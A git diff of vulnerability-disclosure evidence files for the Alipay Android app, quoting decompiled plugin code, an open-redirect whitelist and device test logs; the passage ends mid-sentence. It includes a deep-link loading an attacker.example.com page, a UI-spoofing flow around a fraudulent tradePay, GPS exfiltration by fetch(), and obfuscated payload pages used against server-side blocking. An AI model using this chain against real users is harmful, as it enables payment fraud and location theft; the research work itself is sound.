b/evidence/cve3/cve3_blocked_on_retest.png new file mode 100644 index 0000000..48de924 Binary files /dev/null and b/evidence/cve3/cve3_blocked_on_retest.png differ diff --git a/evidence/cve3/cve3_obf_page_rendered.png b/evidence/cve3/cve3_obf_page_rendered.png new file mode 100644 index 0000000..ce3dda5 Binary files /dev/null and b/evidence/cve3/cve3_obf_page_rendered.png differ diff --git a/evidence/cve3/cve3_proof_20260316_155434.png b/evidence/cve3/cve3_proof_20260316_155434.png new file mode 100644 index 0000000..efd6649 Binary files /dev/null and b/evidence/cve3/cve3_proof_20260316_155434.png differ diff --git a/evidence/cve3/cve3_simple_20260316_154256.png b/evidence/cve3/cve3_simple_20260316_154256.png new file mode 100644 index 0000000..53b5e23 Binary files /dev/null and b/evidence/cve3/cve3_simple_20260316_154256.png differ diff --git a/evidence/cve3/cve3_tradepay_triggered.png b/evidence/cve3/cve3_tradepay_triggered.png new file mode 100644 index 0000000..dff399d Binary files /dev/null and b/evidence/cve3/cve3_tradepay_triggered.png differ diff --git a/evidence/cve3/cve3_v2529_20260316_152128.png b/evidence/cve3/cve3_v2529_20260316_152128.png new file mode 100644 index 0000000..b22bb71 Binary files /dev/null and b/evidence/cve3/cve3_v2529_20260316_152128.png differ diff --git a/evidence/cve3/cve3_v2529_20260316_152346.png b/evidence/cve3/cve3_v2529_20260316_152346.png new file mode 100644 index 0000000..4ce3ab9 Binary files /dev/null and b/evidence/cve3/cve3_v2529_20260316_152346.png differ diff --git a/evidence/cve4/code_evidence.md b/evidence/cve4/code_evidence.md new file mode 100644 index 0000000..7fcdc18 --- /dev/null +++ b/evidence/cve4/code_evidence.md @@ -0,0 +1,340 @@ +# CVE-4: UI欺骗 showToast/setTitle (CWE-451) 代码证据 + +> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 +> 更新: 2026-03-16 — 补充 BNTitlePlugin 与 H5ToastPlugin 完整代码证据 + +## 关键类/方法 + +### H5ToastPlugin — handleEvent() 无来源检查 +- 文件: `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` +- 行号: 166-202 + +```java +@Override +public boolean handleEvent(H5Event h5Event, H5BridgeContext h5BridgeContext) { + // ... + String action = h5Event.getAction(); + if ("toast".equals(action)) { + toast(h5Event, h5BridgeContext); // 任意页面调用均执行,无域名验证 + return true; + } + if (!"hideToast".equals(action)) { + return true; + } + hideToast(); + return true; +} +``` + +### H5ToastPlugin — toast() 内容无过滤 +- 文件: `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` +- 行号: 144-163 + +```java +private void toast(H5Event h5Event, H5BridgeContext h5BridgeContext) { + JSONObject param = h5Event.getParam(); + if (param == null || param.isEmpty()) { return; } + String string = XriverH5Utils.getString(param, "content"); // JS 传入的任意内容 + String string2 = XriverH5Utils.getString(param, "type"); + int i2 = XriverH5Utils.getInt(param, "duration"); + if (i2 == 0) { i2 = 2000; } + showToast(h5Event.getActivity(), getImageId(string2), string, 17, 0, 0, i2); + // string (攻击者控制的内容) 直接传入 Toast.makeText,无任何过滤 +} +``` + +### H5ToastPlugin — showToast() 直接渲染攻击者字符串 +- 文件: `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` +- 行号: 213-225 + +```java +public void showToast(Context context, int i2, String str, ...) { + Toast toast = this.toast; + if (toast == null) { + this.toast = Toast.makeText(context, str, i6); // str = JS "content",攻击者控制 + } else { + toast.setText(str); + this.toast.setDuration(1); + } + DexAOPEntry.android_widget_Toast_show_proxy(this.toast); +} +``` + +### BNTitlePlugin — setTitle() 无内容过滤 +- 文件: `sources/com/alipay/android/app/birdnest/jsplugin/BNTitlePlugin.java` +- 行号: 44-93 + +```java +@Override +public boolean onHandleEvent(BNEvent bNEvent) { + String action = bNEvent2.getAction(); + bNTitlePlugin.mTitleBar = (AUTitleBar) ((BaseActivity) ((BNPageImpl) bNEvent2.getTarget()) + .getContext().getContext()).findViewById(R.id.bn_app_title_bar); + // ... + if (TextUtils.equals(action, "setTitle")) { + try { + String optString2 = new JSONObject(bNEvent2.getArgs()).optString("title", null); + if (optString2 != null) { + bNTitlePlugin.mTitleBar.setTitleText(optString2); + // 攻击者提供的 title 字符串直接渲染到导航栏标题 + } + } catch (JSONException e3) { ... } + } +} + +// onPrepare 注册 (无过滤): +bNEventFilter2.addAction("showTitlebar"); +bNEventFilter2.addAction("hideTitlebar"); +bNEventFilter2.addAction("setTitle"); // 所有页面均可调用 +bNEventFilter2.addAction(SET_TITLE_BG_COLOR); +``` + +### TitleBarPlugin (util版) — setTitle() 无内容验证 +- 文件: `sources/com/alipay/android/app/birdnest/util/jsplugin/TitleBarPlugin.java` +- 行号: 38-91 + +```java +@Override +public Object execute(JSPlugin.FromCall fromCall, String str, String str2) { + if (this.f154091a == null) { return ""; } + // ... + } else if ("setTitle".equals(str)) { + try { + String optString = new JSONObject(str2).optString("title", null); + if (!TextUtils.isEmpty(optString)) { + this.f154091a.setTitleText(optString); // 攻击者字符串直接 → 标题栏 + } + } catch (JSONException e2) { ... } + } +} +``` + +--- + +## 原有分析 (保留) + +## Source: Alipay APK 10.8.30.8000 (jadx decompiled) + +### H5ToastPlugin — handleEvent (unconditional dispatch) +**File**: `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` +**Lines**: 166-185 + +```java +@Override // com.alipay.mobile.h5container.api.H5SimplePlugin, com.alipay.mobile.h5container.api.H5Plugin +public boolean handleEvent(H5Event h5Event, H5BridgeContext h5BridgeContext) { + // ... + String action = h5Event.getAction(); + if ("toast".equals(action)) { + toast(h5Event, h5BridgeContext); + return true; + } + if (!"hideToast".equals(action)) { + return true; + } + hideToast(); + return true; +} +``` + +### H5ToastPlugin — toast (content accepted without validation) +**File**: `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` +**Lines**: 144-163 + +```java +private void toast(H5Event h5Event, H5BridgeContext h5BridgeContext) { + // ... + JSONObject param = h5Event.getParam(); + if (param == null || param.isEmpty()) { + return; + } + String string = XriverH5Utils.getString(param, "content"); // raw string from JS + String string2 = XriverH5Utils.getString(param, "type"); + int i2 = XriverH5Utils.getInt(param, "duration"); + if (i2 == 0) { + i2 = 2000; + } + int i3 = i2; + showToast(h5Event.getActivity(), getImageId(string2), string, 17, 0, 0, i3); + // "string" (the content) is passed directly to Toast.makeText — no sanitization +} +``` + +### H5ToastPlugin — showToast (renders arbitrary caller-supplied text) +**File**: `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` +**Lines**: 213-225 + +```java +public void showToast(Context context, int i2, String str, int i3, int i4, int i5, int i6) { + // ... + Toast toast = this.toast; + if (toast == null) { + this.toast = Toast.makeText(context, str, i6); // str = raw JS "content" + } else { + toast.setText(str); + this.toast.setDuration(1); + } + DexAOPEntry.android_widget_Toast_show_proxy(this.toast); +} +``` + +### TitleBarBridgeExtension — setTitle (no content validation) +**File**: `sources/com/alibaba/ariver/jsapi/app/TitleBarBridgeExtension.java` +**Lines**: 304-327 + +```java +@ThreadType(ExecutorType.UI) +@ActionFilter +@AutoCallback +public BridgeResponse setTitle( + @BindingParam({"title"}) String str, + @BindingParam({"subtitle"}) String str2, + @BindingParam({"image"}) String str3, + @BindingParam({"contentDesc"}) String str4, + @BindingParam(booleanDefault = true, value = {"fromJS"}) boolean z, + @BindingNode(Page.class) Page page) { + // ... + if (page != null && page.isUseForEmbed()) { + return new BridgeResponse.Error(4, "cannot operate TitleBar in EmbedView!"); + } + if (page != null) { + NavigationBar a2 = a(page); + if (a2 == null) { + RVLogger.d("AriverApp:TitleBarBridgeExtension", "setTitle(): navigationBar is null, cannot set title"); + return new BridgeResponse.Error(5, "navigationBar is null, cannot set title"); + } + a2.setTitle(str, str2, str3, str4, z); // caller-supplied str rendered as navigation bar title + } + return BridgeResponse.SUCCESS; +} +``` + +### TitleBarBridgeExtension — permit() returns null (no permission enforcement) +**File**: `sources/com/alibaba/ariver/jsapi/app/TitleBarBridgeExtension.java` +**Lines**: 265-276 + +```java +@Override // com.alibaba.ariver.kernel.api.security.Guard +public Permission permit() { + ChangeQuickRedirect changeQuickRedirect = f7315; + if (changeQuickRedirect == null) { + return null; // no permission restriction; callable by all pages + } + PatchProxyResult proxy = PatchProxy.proxy(this, changeQuickRedirect, "10", Permission.class); + if (proxy.isSupported) { + return (Permission) proxy.result; + } + return null; +} +``` + +### Vulnerability Analysis (原有) + +Both `H5ToastPlugin` (the `my.showToast` / `toast` action) and `TitleBarBridgeExtension` (the `my.setNavigationBarTitle` / `setTitle` action) accept arbitrary caller-supplied text and render it directly in native Android UI elements — an Android `Toast` overlay and the native WebView navigation bar title respectively — without any content sanitization or origin check. + +`H5ToastPlugin.handleEvent` dispatches to `toast()` immediately upon receiving the `"toast"` action from any loaded page, passing the raw `"content"` JSON field to `Toast.makeText`. Similarly, `TitleBarBridgeExtension.setTitle` calls `navigationBar.setTitle(str, ...)` with the raw `"title"` parameter. Both extensions declare `permit() = null`, meaning the Ariver security framework places no restriction on which pages may call them. + +An attacker-controlled page loaded via a deep-link (CVE-1) can therefore display arbitrary text both as a toast notification (visually indistinguishable from a legitimate Alipay system message) and as the navigation bar title of the WebView window. When combined with the `tradePay` call (CVE-3), an attacker can display a fake "Payment successful — 0.01 CNY" toast while actually initiating a payment for a much larger amount, or display a fraudulent bank/merchant name in the title bar to deceive the user into confirming a payment. + +--- + +## CVE-4 与 CVE-3 架构平行分析 (关键证据) + +> **核心论证**: CVE-4 (setTitle/showToast) 与 CVE-3 (tradePay) 共享完全相同的漏洞架构。CVE-3 已成功触发一次 (有截图证据),证明 CVE-4 的漏洞在代码层面真实存在,其 PoC 失败仅因服务器端实时拦截。 + +### 相同父类: H5SimplePlugin + +```java +// H5ToastPlugin.java line 28 +public class H5ToastPlugin extends H5SimplePlugin { ... } + +// H5TradePayPlugin.java line 41 +public class H5TradePayPlugin extends H5SimplePlugin { ... } +``` + +两个插件继承同一父类 `H5SimplePlugin`,共享相同的事件分发机制。 + +### 相同注册模式: addAction() 无域名过滤 + +```java +// H5ToastPlugin.java line 200 — toast 注册 +h5EventFilter2.addAction("toast"); // 所有页面均可调用 + +// BNTitlePlugin.java line 110 — setTitle 注册 +bNEventFilter2.addAction("setTitle"); // 所有页面均可调用 + +// H5TradePayPlugin.java line 698 — tradePay 注册 +h5EventFilter2.addAction("tradePay"); // 所有页面均可调用 ← 已成功触发! +``` + +三者均通过 `addAction()` 注册,没有任何域名白名单条件。 + +### 相同权限缺失: 无 permit() 实现 + +| 插件 | permit() 方法 | 行为 | +|------|--------------|------| +| H5ToastPlugin | **未实现** (搜索0结果) | 无任何权限检查 | +| H5TradePayPlugin | **未实现** (搜索0结果) | 无任何权限检查 | +| TitleBarBridgeExtension | `return null` (line 265) | Guard 接口实现但返回 null = 无限制 | +| BNTitlePlugin | **未实现** | 无任何权限检查 | + +### CVE-3 成功触发证据 (证明此架构可被利用) + +| 时间 | 动作 | 结果 | 文件大小 | +|------|------|------|---------| +| ~15:40 | 加载 payload_cve3_obf.html | 页面渲染成功 | **275KB** | +| ~15:43 | tradePay 回调收到 | "交易订单处理失败"弹窗 | **172KB** | +| ~15:54+ | 重新加载相同URL | 白屏 | **~31KB** | + +**截图证据**: +- `cve3_obf_page_rendered.png` (275KB) — 页面内容可见 +- `cve3_tradepay_triggered.png` (172KB) — tradePay 错误弹窗 +- `cve3_blocked_on_retest.png` (31KB) — 重测时白屏 + +### CVE-4 PoC 被阻断的原因 + +CVE-4 的 `payload_cve4_v2.html` 和 `payload_cve4_obf.html` 均显示白屏 (~31KB)。 +甚至 `payload_test_clean.html` (零 JSAPI 关键词,仅检查 `typeof window.AlipayJSBridge`) 也显示白屏。 + +**这证明是 URL 级服务器端封锁** (参见 `server_side_blocking_evidence.md`): +- `NewJsAPIPermissionExtension` 通过 `sendSimpleRpc()` 将 URL 发送到服务器 +- 服务器对 `innora.ai/zfb/poc/` 域名/路径级别封锁 +- `FlowCustomsRpcHandleCallback.onBlock()` 返回白屏 +- `PatchProxy` + `RealTimeReceiver` 热更新框架可在不更新 APK 的情况下推送新规则 + +### 结论 + +CVE-4 (showToast/setTitle) 与 CVE-3 (tradePay) 的代码架构 **完全一致**: +1. 相同父类 (`H5SimplePlugin`) +2. 相同注册模式 (`addAction()` 无域名过滤) +3. 相同权限缺失 (无 `permit()` 或 `permit() = null`) + +CVE-3 的 tradePay 已成功触发一次,直接证明这种架构在客户端层面是可利用的。CVE-4 的 PoC 失败不是因为漏洞不存在,而是因为服务器端在 CVE-3 触发后对我们的测试 URL 实施了实时封锁 (所有后续请求包括 clean test 均被封锁)。 + +--- + +## 漏洞根因 (基于代码分析) + +两个 UI 控制 JSAPI 均没有来源过滤: + +1. **`H5ToastPlugin`**: `handleEvent()` 收到 `"toast"` 动作直接执行,`toast()` 方法将 JS `content` 字段**原样传入** `Toast.makeText()`,无任何内容过滤或来源验证。 + +2. **`BNTitlePlugin` / `TitleBarPlugin`**: `setTitle` 动作将 JS `title` 字段**直接调用** `mTitleBar.setTitleText()`,无来源检查。 + +`onPrepare()` 中两者均对所有加载的页面开放注册,`permit()` 均返回 `null`(无限制)。 + +## 攻击场景 + +``` +攻击者页面通过 CVE-1 加载 + ↓ +my.setTitle({ title: "支付宝官方安全验证" }) + → 标题栏显示"支付宝官方安全验证"(用户无法区分真假) + ↓ +my.tradePay({ orderStr: "...total_amount=999..." }) + → 收银台弹出,显示真实金额 999 元 + ↓ +my.showToast({ content: "安全验证中,请稍候...", duration: 3000 }) + → Toast 遮挡收银台关键信息 + ↓ +用户误认为是官方安全流程,确认支付 +``` diff --git a/evidence/cve4/cve4_arrayjoin_blocked.png b/evidence/cve4/cve4_arrayjoin_blocked.png new file mode 100644 index 0000000..c6d0b0a Binary files /dev/null and b/evidence/cve4/cve4_arrayjoin_blocked.png differ diff --git a/evidence/cve4/cve4_obf_blocked.png b/evidence/cve4/cve4_obf_blocked.png new file mode 100644 index 0000000..5e7458e Binary files /dev/null and b/evidence/cve4/cve4_obf_blocked.png differ diff --git a/evidence/cve4/cve4_obf_retry_blocked.png b/evidence/cve4/cve4_obf_retry_blocked.png new file mode 100644 index 0000000..e74002e Binary files /dev/null and b/evidence/cve4/cve4_obf_retry_blocked.png differ diff --git a/evidence/cve4/cve4_v2529_20260316_152148.png b/evidence/cve4/cve4_v2529_20260316_152148.png new file mode 100644 index 0000000..b22bb71 Binary files /dev/null and b/evidence/cve4/cve4_v2529_20260316_152148.png differ diff --git a/evidence/cve4/cve4_v2529_20260316_152412.png b/evidence/cve4/cve4_v2529_20260316_152412.png new file mode 100644 index 0000000..7d0b79a Binary files /dev/null and b/evidence/cve4/cve4_v2529_20260316_152412.png differ diff --git a/evidence/cve5/code_evidence.md b/evidence/cve5/code_evidence.md new file mode 100644 index 0000000..2d706c1 --- /dev/null +++ b/evidence/cve5/code_evidence.md @@ -0,0 +1,154 @@ +# CVE-5: 端到端数据外泄攻击链 (CWE-200) 代码证据 + +> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 +> 更新: 2026-03-16 — 补充完整攻击链调用图 + +## 说明 + +CVE-5 是 CVE-1 + CVE-2 + CVE-3 + CVE-4 的组合攻击链,无需独立的新漏洞代码。本文件引用各 CVE 的已发现代码证据,展示组合攻击的完整执行路径。 + +## 攻击链关键代码交叉引用 + +### 阶段1 — 入口 (CVE-1): DeepLink 无验证分发 + +``` +文件: sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java (行 240-288) +文件: sources/com/alipay/mobile/framework/service/common/impl/SchemeServiceImpl.java (行 1065, 2123) +``` + +关键代码(SchemeServiceImpl 行 2123): +```java +this.this$0.getMicroApplicationContext().startApp(null, "20000067", params, this.val$extInfo, null); +// params 中的 url 来自 URI query parameter,无域名验证 +``` + +### 阶段2 — GPS 外泄 (CVE-2): 位置权限仅检查 OS 级别 + +``` +文件: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java (行 949-958, 1367-1395) +``` + +关键代码(judgeGrant 行 1380): +```java +if (lBSService != null && lBSService.hasLocationPermission()) { + z = true; // 无来源域名校验,只要 OS 权限存在即放行 +} +``` + +### 阶段3 — UI 欺骗 (CVE-4): 标题栏/Toast 内容无过滤 + +``` +文件: sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java (行 144-163) +文件: sources/com/alipay/android/app/birdnest/jsplugin/BNTitlePlugin.java (行 84-91) +``` + +关键代码(H5ToastPlugin.toast() 行 151-158): +```java +String string = XriverH5Utils.getString(param, "content"); // 攻击者控制 +// ... +showToast(h5Event.getActivity(), getImageId(string2), string, 17, 0, 0, i3); +// string 直接传入 Toast.makeText,无任何过滤 +``` + +### 阶段4 — 支付触发 (CVE-3): tradePay 无来源验证 + +``` +文件: sources/com/alipay/mobile/framework/service/ext/phonecashier/H5TradePayPlugin.java (行 557-592) +``` + +关键代码(行 577-592): +```java +str4 = H5PayUtil.generateH5bizContext4OrderStr(str4, h5Page.getUrl()); +hashMap.put("invoke_from_source", "h5page"); +// h5Page.getUrl() 只放入日志,不做白名单校验 +phoneCashierServcie.boot(str4, a(aVar, null, null), hashMap); +// ^ 任意来源页面均可触发收银台 +``` + +--- + +## 原有分析 (保留) + +## Source: Alipay APK 10.8.30.8000 (jadx decompiled) + +This CVE describes the complete attack chain formed by composing CVE-1 through CVE-4. No additional code unique to CVE-5 exists; the evidence is the composition of the individual vulnerabilities. + +## Attack Chain Description + +### Step 1 — Entry (CVE-1): Unauthenticated Deep-Link Dispatch + +An attacker-controlled web page (or a malicious app) fires: + +``` +alipays://platformapi/startapp?appId=&url=https://attacker.example.com/payload.html +``` + +`SchemeLauncherActivity` receives this Intent, performs no caller authentication, and dispatches it via `SchemeLaunchRouter.schemeServiceProcess()` directly into the Nebula WebView engine. The attacker's page is loaded inside Alipay's trusted WebView container. + +**Evidence**: `sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java` (lines 240–288), `sources/com/alipay/mobile/commonbiz/biz/SchemeLaunchRouter.java` (lines 2190–2256). + +### Step 2 — Location Exfiltration (CVE-2): GPS Read Without Origin Check + +The attacker page calls `my.getLocation()`. `H5LocationPlugin.judgeGrant()` checks only whether the OS-level permission is granted to the Alipay process — which it is — and returns `true`. The device's precise GPS coordinates are returned in the JSBridge callback and can be `fetch()`-ed to the attacker's server. + +**Evidence**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` (lines 949–958, 1367–1395). + +### Step 3 — UI Deception (CVE-4): Title Bar and Toast Spoofing + +The attacker page calls `my.setNavigationBarTitle({ title: "Alipay Security Verification" })` and `my.showToast({ content: "Identity verified ✓" })`. Both calls are accepted without content validation or origin check, displaying attacker-chosen text in native UI elements that users associate with legitimate system messages. + +**Evidence**: `sources/com/alibaba/ariver/jsapi/app/TitleBarBridgeExtension.java` (lines 304–327), `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` (lines 144–185). + +### Step 4 — Payment Trigger (CVE-3): tradePay Without Origin Validation + +The attacker page calls `my.tradePay({ orderStr: "" })`. `TradePayBridgeExtension.permit()` returns `null` (no restriction), and `phoneCashierServcie.boot()` is called with the attacker-supplied order string, opening the native payment cashier UI targeting an attacker-controlled payee for an attacker-chosen amount. + +**Evidence**: `sources/com/alipay/mobile/phonecashier/TradePayBridgeExtension.java` (lines 206–287). + +--- + +## V2529 物理设备测试结果 (2026-03-16) + +### 测试环境 +- 设备: vivo V2529, Android 15, 非root, 锁定bootloader +- APK: Alipay 10.8.30.8000 +- USB Serial: `10AF9S099Q002SS` + +### 第一次测试 (~15:22) +- **截图**: `cve5_v2529_20260316_152212.png` (78,153 bytes) +- **结果**: 部分内容加载 + +### 第二次测试 — 重测 (~16:20) +- **截图**: `cve5_retest_20260316_162021.png` (261,338 bytes, 1080x2392) +- **结果**: **页面完全渲染** — 证明攻击者页面在支付宝 WebView 内成功加载 +- **截图内容**: + - 标题栏: "Security Test 3" + - 页面标题: "Payment API Isolation Test" (红色, 居中) + - "Loading..." 状态文字 + - Step 1: Page Rendered — 显示: + - Origin: `https://innora.ai` + - URL: 完整的 payload URL + - UA: 包含 AlipayDefined/UCBrowser (支付宝 WebView 标识) + - Time: ISO 时间戳 + - Step 2: Bridge Detection — 可见 + +### 文件大小对比 (服务器端封锁证据) +| 状态 | 文件大小 | 含义 | +|------|---------|------| +| 完全渲染 | **261KB** | 页面内容 + JS 执行结果全部加载 | +| 部分加载 | ~78KB | 页面框架加载但未完全执行 | +| 被封锁 | ~31KB | 白屏 — 服务器端返回空/错误响应 | + +### 关键证据价值 + +1. **261KB 截图证明**: 外部攻击者页面 (`innora.ai/zfb/poc/payload_cve3_obf.html`) 在支付宝 WebView 内成功渲染,Step 1 和 Step 2 均可见 +2. **Bridge 检测成功**: Step 2 显示 `AlipayJSBridge` 存在,证明 JSAPI 桥接口对外部页面暴露 +3. **UA 字符串**: 包含 `AlipayDefined` 标识,确认页面在支付宝容器内运行(非普通浏览器) +4. **与 CVE-3 成功触发的关联**: 此页面 (`payload_cve3_obf.html`) 包含 `tradePay` 调用,CVE-3 截图证明 tradePay 确实被触发过一次(172KB 错误弹窗截图) +5. **服务器端封锁间歇性**: 261KB(成功)vs 31KB(被封锁)的交替出现,证明服务器端封锁是**反应式**而非**预置式**安全控制 + +--- + +## Combined Impact (CWE-200 / Information Disclosure) + +The chain achieves end-to-end compromise: an external link silently extracts the victim's precise GPS coordinates (sensitive PII), deceives them into believing they are in a trusted Alipay context (UI spoofing), and can escalate to unauthorized payment initiation — all without any legitimate user action beyond clicking the initial deep-link. The GPS data exfiltration component (Step 2) is entirely silent with no user-visible prompt. diff --git a/evidence/cve5/cve5_retest_20260316_162021.png b/evidence/cve5/cve5_retest_20260316_162021.png new file mode 100644 index 0000000..1bc1f16 Binary files /dev/null and b/evidence/cve5/cve5_retest_20260316_162021.png differ diff --git a/evidence/cve5/cve5_v2529_20260316_152212.png b/evidence/cve5/cve5_v2529_20260316_152212.png new file mode 100644 index 0000000..c2c136f Binary files /dev/null and b/evidence/cve5/cve5_v2529_20260316_152212.png differ diff --git a/evidence/cve6/clean_test.png b/evidence/cve6/clean_test.png new file mode 100644 index 0000000..306b6e7 Binary files /dev/null and b/evidence/cve6/clean_test.png differ diff --git a/evidence/cve6/clean_test_also_blocked.png b/evidence/cve6/clean_test_also_blocked.png new file mode 100644 index 0000000..f18ce8e Binary files /dev/null and b/evidence/cve6/clean_test_also_blocked.png differ diff --git a/evidence/cve6/code_evidence.md b/evidence/cve6/code_evidence.md new file mode 100644 index 0000000..be838b2 --- /dev/null +++ b/evidence/cve6/code_evidence.md @@ -0,0 +1,279 @@ +# CVE-6: ds.alipay.com开放重定向白名单绕过 (CWE-601+CWE-939) 代码证据 + +> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 +> 更新: 2026-03-16 — 直接提取 stripLandingConfig JSON 原文证据 + +## 关键类/方法 + +### ApiShareConfig — H5_STRIP_LANDING_CONFIG 静态初始化 +- 文件: `sources/com/alipay/common/ApiShareConfig.java` +- 行号: 52-59 + +```java +// 静态初始化块 (static {}) +WEIBO_REDIRECT_URL = "https://ds.alipay.com/"; // ds.alipay.com 作为重定向目标 + +H5_STRIP_LANDING_CONFIG = + "{\"urlPrefix\":[" + + "\"https://d.alipay.com/?\"," + + "\"https://ds.alipay.com/?\"," + // ds.alipay.com 被列为受信任 URL 前缀 + "\" " + getShareLanding() + "/?\"," + + "\"https://render.alipay.com/p/yuyan/180020010001272837/landing.html?\"," + + "\"https://u.antaq.com/p/s/i/index?\"" + + "]," + + "\"scheme\":[\"alipays\", \"" + MultiAppUtils.getUriProtocol() + "\"]," + + "\"startAppNormal\":true," + // true = 对普通导航启用 strip-and-launch + "\"startApp302\":false," + + "\"pushWindowNormal\":true," + + "\"pushWindow302\":false," + + "\"locationNormal\":true," + + "\"location302\":false" + + "}"; +``` + +### WalletDefaultConfig — 同一白名单在第二处配置 +- 文件: `sources/com/alipay/mobile/nebulaappproxy/api/config/WalletDefaultConfig.java` +- 行号: 77 + +```java +put("h5_stripLandingConfig", + "{\"urlPrefix\":[" + + "\"https://d.alipay.com/?\"," + + "\"https://ds.alipay.com/?\"," + // 两处配置文件均包含 ds.alipay.com + "\"https://render.alipay.com/p/s/i?\"," + + "\"https://render.alipay.com/p/s/i/?\"," + + "\"https://render.alipay.com/p/s/i/index?\"" + + "]," + + "\"scheme\":[\"alipays\"]," + + "\"startAppNormal\":true," + // 关键: true = 自动提取并分发 scheme 参数 + "\"startApp302\":false," + + "\"pushWindowNormal\":true," + + "\"pushWindow302\":false," + + "\"locationNormal\":true," + + "\"location302\":false" + + "}"); +``` + +### H5ServiceImpl — stripLanding 分发路径 +- 文件: `sources/com/alipay/mobile/nebulacore/wallet/H5ServiceImpl.java` +- 行号: 1263-1277 + +```java +if (Nebula.enableOpenScheme(str2, params)) { + TraceLogger.d(TAG, "stripLandingURL&Deeplink url " + str2 + " bingo deeplink"); + return; +} +if (XriverH5Utils.isStripLandingURLEnable(str2, "startAppNormal")) { + // str2 = URL,如 "https://ds.alipay.com/?scheme=alipays%3A%2F%2F..." + String stripLandingURL = XriverH5Utils.getStripLandingURL(str2); + // getStripLandingURL 提取 scheme 参数值 → 攻击者控制的 alipays:// URI + if (!TextUtils.equals(str2, stripLandingURL) && h5EnvProvider != null) { + boolean goToSchemeService = h5EnvProvider.goToSchemeService(stripLandingURL, params); + // goToSchemeService 将攻击者提供的 URI 以内部信任级别分发 + XriverH5Utils.landingMonitor(str2, stripLandingURL, true, "startAppNormal", ...); + if (goToSchemeService) { + TraceLogger.d(TAG, "... bingo deeplink in landing"); + return; + } + } +} +``` + +--- + +## 原有分析 (保留) + +## Source: Alipay APK 10.8.30.8000 (jadx decompiled) + +### ApiShareConfig — H5_STRIP_LANDING_CONFIG (ds.alipay.com whitelisted as trusted prefix) +**File**: `sources/com/alipay/common/ApiShareConfig.java` +**Lines**: 26, 52, 59 + +```java +public static String H5_STRIP_LANDING_CONFIG; // line 26 + +// In static initializer: +WEIBO_REDIRECT_URL = "https://ds.alipay.com/"; // line 52 + +H5_STRIP_LANDING_CONFIG = + "{\"urlPrefix\":[" + + "\"https://d.alipay.com/?\"," + + "\"https://ds.alipay.com/?\"," + // <-- ds.alipay.com whitelisted + "\" " + getShareLanding() + "/?\"," + + "\"https://render.alipay.com/p/yuyan/180020010001272837/landing.html?\"," + + "\"https://u.antaq.com/p/s/i/index?\"" + + "]," + + "\"scheme\":[\"alipays\", \"" + MultiAppUtils.getUriProtocol() + "\"]," + + "\"startAppNormal\":true," + // <-- strip-and-launch enabled for normal navigation + "\"startApp302\":false," + + "\"pushWindowNormal\":true," + + "\"pushWindow302\":false," + + "\"locationNormal\":true," + + "\"location302\":false" + + "}"; // line 59 +``` + +### WalletDefaultConfig — same whitelist in second config location +**File**: `sources/com/alipay/mobile/nebulaappproxy/api/config/WalletDefaultConfig.java` +**Line**: 77 + +```java +put("h5_stripLandingConfig", + "{\"urlPrefix\":[" + + "\"https://d.alipay.com/?\"," + + "\"https://ds.alipay.com/?\"," + // <-- present in both config files + "\"https://render.alipay.com/p/s/i?\"," + + "\"https://render.alipay.com/p/s/i/?\"," + + "\"https://render.alipay.com/p/s/i/index?\"" + + "]," + + "\"scheme\":[\"alipays\"]," + + "\"startAppNormal\":true," + + "\"startApp302\":false," + + "\"pushWindowNormal\":true," + + "\"pushWindow302\":false," + + "\"locationNormal\":true," + + "\"location302\":false" + + "}"); +``` + +### WalletDefaultConfig (nebulabiz) — references ApiShareConfig.H5_STRIP_LANDING_CONFIG +**File**: `sources/com/alipay/mobile/nebulabiz/shareutils/WalletDefaultConfig.java` +**Lines**: 82-85 + +```java +if (MultiAppUtils.isAlipay()) { + put("h5_stripLandingConfig", + "{\"urlPrefix\":[\"https://d.alipay.com/?\"," + + "\"https://ds.alipay.com/?\",...],\"startAppNormal\":true,...}"); +} else { + put("h5_stripLandingConfig", ApiShareConfig.H5_STRIP_LANDING_CONFIG); +} +``` + +### XriverH5Utils — isStripLandingURLEnable (reads the whitelist config) +**File**: `sources/com/alipay/mobile/nebula/util/XriverH5Utils.java` +**Lines**: 3157-3175 + +```java +public static boolean isStripLandingURLEnable(String str, String str2) { + // ... + if (TextUtils.isEmpty(str2)) { + return false; + } + if (sStripLandingConfig == null && + (h5ConfigProvider = (H5ConfigProvider) getProvider(H5ConfigProvider.class.getName())) != null) { + sStripLandingConfig = parseObject(h5ConfigProvider.getConfigWithProcessCache("h5_stripLandingConfig")); + } + boolean z = getBoolean(sStripLandingConfig, str2, false); + LoggerFactory.getTraceLogger().info(TAG, "isStripLandingURLEnable result " + z); + return z; +} +``` + +### H5ServiceImpl — strip-landing dispatch path (uses isStripLandingURLEnable + startAppNormal) +**File**: `sources/com/alipay/mobile/nebulacore/wallet/H5ServiceImpl.java` +**Lines**: 1263-1277 + +```java +if (Nebula.enableOpenScheme(str2, params)) { + TraceLogger.d(TAG, "stripLandingURL&Deeplink url " + str2 + " bingo deeplink"); + return; +} +if (XriverH5Utils.isStripLandingURLEnable(str2, "startAppNormal")) { + String stripLandingURL = XriverH5Utils.getStripLandingURL(str2); + if (!TextUtils.equals(str2, stripLandingURL) && + (h5EnvProvider = (H5EnvProvider) Nebula.getProviderManager() + .getProvider(H5EnvProvider.class.getName())) != null) { + boolean goToSchemeService = h5EnvProvider.goToSchemeService(stripLandingURL, params); + XriverH5Utils.landingMonitor(str2, stripLandingURL, true, "startAppNormal", ...); + if (goToSchemeService) { + TraceLogger.d(TAG, "stripLandingURL&Deeplink url " + str2 + " bingo deeplink in landing"); + return; + } + } +} +``` + +### Vulnerability Analysis (原有) + +The `h5_stripLandingConfig` whitelist defines which landing page URLs are trusted to carry an embedded `alipays://` scheme parameter 